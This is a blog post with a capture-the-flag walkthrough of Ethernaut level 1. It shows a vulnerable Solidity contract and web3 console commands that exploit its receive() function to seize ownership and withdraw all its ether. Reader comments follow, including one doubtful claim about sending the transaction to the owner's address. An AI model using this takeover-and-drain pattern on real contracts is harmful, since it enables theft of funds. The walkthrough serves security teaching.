DEV Community

Cover image for Ethernaut Hacks Level 1: Fallback
Naveen ⚑
Naveen ⚑

Posted on • Updated on

Ethernaut Hacks Level 1: Fallback

This is the level 1 of Ethernaut game.

Pre-requisites

Hack

Given contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}
Enter fullscreen mode Exit fullscreen mode

and contract methods & web3.js functions injected into console.

We, the player address, have to somehow become owner of the contract & withdraw all amount from contract.

Key parts to notice are contribute function and receive fallback function of contract.

From the constructor, it can be seen that owner's contribution is 1000 eth. One way to become owner is to send more than current owner's contributed eth to contribute function to be owner. Let's check owner's contributed eth using console:

ownerAddr = await contract.owner();
await contract.contributions('0x9CB391dbcD447E645D6Cb55dE6ca23164130D008').then(v => v.toString())

// Output '1000000000000000000000'
Enter fullscreen mode Exit fullscreen mode

But, that'd be too much eth! We have nowhere near it.

Take a look at receive fallback function though. It also has code to change ownerships. According to what code is there, we can claim ownership if:

  • Contract has a non-zero contribution from us (i.e. player).
  • Then, we send the contract a non-zero eth amount.

player address has zero contribution to contract currently, so let's satisfy first condition by sending a less than 0.001 eth (required acc. to code):

await contract.contribute.sendTransaction({ from: player, value: toWei('0.0009')})
Enter fullscreen mode Exit fullscreen mode

Now we have a non-zero contribution that you can verify by:

await contract.getContribution().then(v => v.toString())
Enter fullscreen mode Exit fullscreen mode

And now send any non-zero amount of ether to contract:

await sendTransaction({from: player, to: contract.address, value: toWei('0.000001')})
Enter fullscreen mode Exit fullscreen mode

Boom! We claimed ownership of the contract!
You can verify that owner is same address as player by:

await contract.owner()
// Output: Same as player address
Enter fullscreen mode Exit fullscreen mode

And for the final blow, withdraw all of contract's balance:

await contract.withdraw()
Enter fullscreen mode Exit fullscreen mode

Done.

Learned something awesome? Consider starring the repo here πŸ˜„

and following me on twitter here πŸ™

Top comments (3)

Collapse
 
ddonprogramming profile image
Decebal Dobrica • Edited

I'm thinking we should send to the current owner, not the contract at this step:
await sendTransaction({from: player, to: contract.address, value: toWei('0.000001')})

e.g.
await sendTransaction({from: player, to: await contract.owner(), value: toWei('0.000001')})

am I wrong ?

Collapse
 
nvnx profile image
Naveen ⚑

Hey!
Actually, there we are sending a transaction to the contract such that its receive() function is invoked & makes the msg.sender (i.e. player), the owner of contract.

Collapse
 
ddonprogramming profile image
Decebal Dobrica

I got your point, yes, what you are saying is the motivation for this code.
Using the contract owner address helped me pass the ethernaut level, which I think means that the "receive" function was invoked.
await sendTransaction({from: player, to: await contract.owner(), value: toWei('0.000001')})

I don't really understand why sending a transaction to the contract.address did not trigger receive() in my case, which is why I asked the question, hoping it was some kind of mistake on your part.